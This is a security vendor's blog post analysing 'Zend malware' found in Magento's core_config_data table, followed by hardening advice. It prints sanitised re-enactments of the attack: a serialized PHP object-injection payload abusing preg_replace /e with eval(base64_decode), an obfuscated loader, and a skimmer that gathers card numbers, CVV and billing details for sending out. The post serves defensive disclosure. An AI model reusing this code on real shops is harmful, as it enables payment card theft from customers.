Cybersecurity Insights | Blog | Foregenix

Protect Magento Sites from Zend Malware and PHP Issues

Written by Alex Constantinou | 4/3/18 3:52 PM

New forms of malware are being created and identified every day; discovering and exploiting vulnerabilities can be a lucrative business. 2014 saw 317 million new pieces of malware, equating to nearly 1 million new threats being released each day according to the Symantec Threat Report.  

Understanding Zend Malware and How to Secure Your Magento Site

Today, we want to focus on one in particular sample that we’ve been encountering pretty regularly over recent weeks; dubbed simply ‘Zend malware’. It’s a new type of PHP remote code execution, utilizing the Zend Framework to exfiltrate payment card numbers.

The Zend Framework[1] is used in Magento to develop web applications and services and provides object-oriented code. The malicious code has been discovered consistently in the core_config_data of Magento.

It must be noted that this is not a vulnerability in Zend Framework. The vulnerability lies in the fact that some applications based on Zend Framework still use unserialize() on user input and it is through this practice – along with specially crafted input the problem exists. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a “vulnerable” unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope (PHP Object Injection - OWASP, 2015).

Re-enactment example code:
O:8:"Zend_Log":1: {
    S:11:"\00\2A\00_writers";
    a:1: {
        i:0;
        O:20:"Zend_Log_Writer_Mail":5 {
            S:16:"\00\2A\00_eventsToMail";
            a:1 {
                i:0;
                i:1;
            }
            S:22:"\00\2A\00_layoutEventsToMail";
            a:0
            : {}
            S:8:"\00\2A\00_mail";
            O:9:"Zend_Mail":0: {}
            S:10:"\00\2A\00_layout";
            O:11:"Zend_Layout":3: {
                S:13:"\00\2A\00_inflector";
                O:23:"Zend_Filter_PregReplace":2: {
                    S:16:"\00\2A\00_matchPattern";
                    s:12:"/987654320/e";
                    S:15:"\00\2A\00_replacement";
                    S:4425:"\40\65\76\61\6c\28\62\61\73\65\36\34\5f\64\65\63\6f\64\65
('TWFsaWNpb3VzQmFzZTY0Q29kZQ==));";
                }
                S:20:"\00\2A\00_inflectorEnabled";
                b:1;
                S:10:"\00\2A\00_layout";
                s:9:"987654320";
            }
            S:22:"\00\2A\00_subjectPrependText";
            N;
        }
    }
}

The identified code abuses a dangerous feature of the standard preg_replace function call, allowing code execution to be performed on the server. The malicious code is to be evaluated and executed if the regular expression pattern /987654321/e is not detected. This capability relies on the /e argument that instructs the preg_replace function to actually evaluate (execute) the PHP code that is found in the next argument (the replacement string) and use the result of it as the actual replacement string content. The code in our example turns out to be a  php packer.

 

Re-enactment example code:
if (!function_exists('_deploy'))  {
    $to_func = 'r'.'e'.'g'.'i'.'s'.'t'.'e'.'r'.'_'.'s'.'h'.'u'.'t'.'d'.'o'.'w'.'n'.'_'.'f'.
'u'.'n'.'c'.'t'.'i'.'o'.'n';
    function _deploy() {
        $pack = 'pa'."c"."k";
        $abc = "\x63\x72"."\x65\x61\x74\x65\x5f".
"\x66\x75\x6e\x63\x74\x69\x6f\x6e";
        $cre_f = $abc('', $pack("H*",
'6578616d706c656f666865787061636b6564636f6465')); == > Example packed Hex
        $cre_f();
    }
    $to_func('_deploy');
}

 

Unpacking the data we discovered that the data was, in fact, malicious code that would harvest card details, encode them in base64 and then post the data to an external address.

 

Re-enactment example code:
if (isset($_POST['payment']) and !empty($_POST['payment']['cc_number']))  {
    $checkout = Mage::getSingleton('checkout/session')  -  > getQuote();
    $billAddress = $checkout  -  > getBillingAddress();
    $tmp_dat = $billAddress;
    $arr = array('c1' = > $_POST['payment']['cc_number'], 'c2' = > $_POST['payment']['cc_cid'], 'name' = > $tmp_dat['firstname']." ".$tmp_dat['lastname'], 'month' = > $_POST['payment']['cc_exp_month'], 'year' = > $_POST['payment']['cc_exp_year'], 'address' = > $tmp_dat['street'], 'city' = > $tmp_dat['city'], 'country' = > $tmp_dat['country_id'], 'state' = > $tmp_dat['region_id'], 'zip' = > $tmp_dat['postcode'], 'phone' = > $tmp_dat['telephone'], 'from' = > $_SERVER['HTTP_HOST']);
    _send_($arr);
    unset($arr);
    unset($tmp_dat);
}

 

Recommendations:

As previously stated, the malicious code was found in the core_config_data database table, which is only accessible by an administrator account. Our investigations had concluded a significant portion of website compromises stem from exposed administrative URLs.  This coupled with weak, short or generally insecure passwords means threat actors have a fairly obvious and un-challenging attack surface through which to compromise websites. 

The obvious countermeasure would be to either “move” the administration URL to something less obvious or even better, restrict the points of origin that is permitted to communicate with the interface.  In order to make your admin path more difficult to find (thereby making it much harder to locate and attack) we recommend creating an obscure admin path. For example:

You should change your Admin Path from yourwebsite.com/index.php/admin or yourwebsite.com/admin to yourwebsite.com/store/somethinghardtoguess.

Furthermore, passwords can easily be guessed with dictionary attacks and brute force attacks, therefore a password should contain more than 8 characters and use a combination of lowercase, uppercase, numeric and where possible, symbol characters. It should also be updated on a regular basis.  

Additionally, everyone is expecting an “admin” user to be present on these systems, which unfortunately “removes” one variable a brute force attacker needs to evaluate. It is possible to rename the admin user to an arbitrary name, by simply selecting the System -> My Account within the Magento administration panel, then updating the “User Name” field and saving the changes.  Now attackers would need to guess the username and the password….. Simply restricting access to the URL to only known good addresses is by far the most effective solution however.

A final precautionary step would be to inspect the core_config_data table inside your database for anything unusual or indicators similar to those displayed above.

If you'd like to automate the search for this malicious code, sign up for a trial of our FGX-Web solution and we'll be happy to help you out.

Whilst protecting against malware should obviously make up a large part of your security posture, there's more to your security chain than just malicious software. Social engineering is being highlighted more and more as the main cause of breaches. Read more about it in our blog post!